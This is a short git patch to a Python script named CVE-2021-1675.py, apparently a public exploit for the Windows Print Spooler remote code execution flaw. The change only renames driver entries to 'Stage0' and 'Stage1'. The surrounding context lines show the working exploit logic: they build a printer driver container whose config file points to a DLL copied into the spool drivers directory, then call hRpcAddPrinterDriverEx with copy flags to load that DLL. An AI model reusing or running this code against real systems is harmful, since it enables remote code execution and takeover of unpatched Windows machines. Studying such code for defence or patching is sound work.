From b33e65a34ef08f02394952d85924d5793bb8a7bd Mon Sep 17 00:00:00 2001 From: citronneur Date: Sun, 4 Jul 2021 10:02:43 +0200 Subject: [PATCH] Add name --- CVE-2021-1675.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/CVE-2021-1675.py b/CVE-2021-1675.py index e850c6d..78824da 100644 --- a/CVE-2021-1675.py +++ b/CVE-2021-1675.py @@ -72,7 +72,7 @@ def main(dce, pDriverPath, share, handle=NULL): container_info['Level'] = 2 container_info['DriverInfo']['tag'] = 2 container_info['DriverInfo']['Level2']['cVersion'] = 3 - container_info['DriverInfo']['Level2']['pName'] = "1234\x00" + container_info['DriverInfo']['Level2']['pName'] = "Stage0\x00" container_info['DriverInfo']['Level2']['pEnvironment'] = "Windows x64\x00" container_info['DriverInfo']['Level2']['pDriverPath'] = pDriverPath + '\x00' container_info['DriverInfo']['Level2']['pDataFile'] = "{0}\x00".format(share) @@ -85,6 +85,7 @@ def main(dce, pDriverPath, share, handle=NULL): print("[*] Stage0: {0}".format(resp['ErrorCode'])) # Just ask for a new driver with already installed files + container_info['DriverInfo']['Level2']['pName'] = "Stage1\x00" container_info['DriverInfo']['Level2']['pConfigFile'] = "C:\\Windows\\System32\\spool\\drivers\\x64\\3\\{0}\x00".format(filename) flags = rprn.APD_COPY_NEW_FILES | 0x10 | 0x8000 resp = rprn.hRpcAddPrinterDriverEx(dce, pName=handle, pDriverContainer=container_info, dwFileCopyFlags=flags)